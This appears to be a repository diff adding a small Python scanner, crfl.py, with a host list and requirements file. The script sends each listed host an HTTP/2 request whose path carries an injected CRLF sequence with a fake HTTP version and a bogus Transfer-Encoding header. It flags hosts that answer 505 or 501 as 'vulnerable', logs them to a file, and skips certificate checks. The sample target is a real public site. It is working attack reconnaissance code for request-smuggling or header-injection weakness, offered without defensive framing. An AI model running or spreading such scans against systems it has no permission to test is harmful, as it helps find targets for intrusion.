Initial Upload

Author: mc air

crfl.py

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+import httpx
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+from httpx import RequestError
+
+# Suppress only the single warning from urllib3 needed.
+
+# Read hosts from file
+with open('hosts.txt', 'r') as file:
+    hosts = file.read().splitlines()
+
+# Initialize lists for success and failure hosts
+success_hosts = []
+failure_hosts = []
+
+headers = {
+    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0'
+}
+
+# Process each host
+for host in hosts:
+    url = f'https://{host}/%20HTTP/9%0D%0ATransfer-Encoding:%20nonexistant%0D%0Ax-end:%20a'
+    try:
+        with httpx.Client(http2=True, verify=False) as client:
+            response = client.get(url, headers=headers, timeout=4, follow_redirects=False)  # Ignore SSL certificate verification
+
+        if response.status_code == 505 or response.status_code == 501:
+            # Add host to success list and write to file
+            success_hosts.append(host)
+            with open('vulnerable.txt', 'a') as file:
+                file.write(host + '\n')
+            print('\033[92mSUCCESS saved host to vulnerable.txt', host, '\033[0m')
+        else:
+            # Add host to failure list and print response code
+            failure_hosts.append(host)
+            print('\033[91mFAIL', host, response.status_code, '\033[0m')
+    except RequestError as e:
+        if 'Errno 61' in str(e):
+            print('not open')
+        elif 'Errno 8]' in str(e):
+            print('Unknown...')
+        else:
+            print('An error occurred:', e)
+
+# Print summary
+print('Success hosts:', success_hosts)
+print('Failure hosts:', failure_hosts)

hosts.txt

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+www.google.com

requirements.txt

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+httpx==0.27.0
+Requests==2.31.0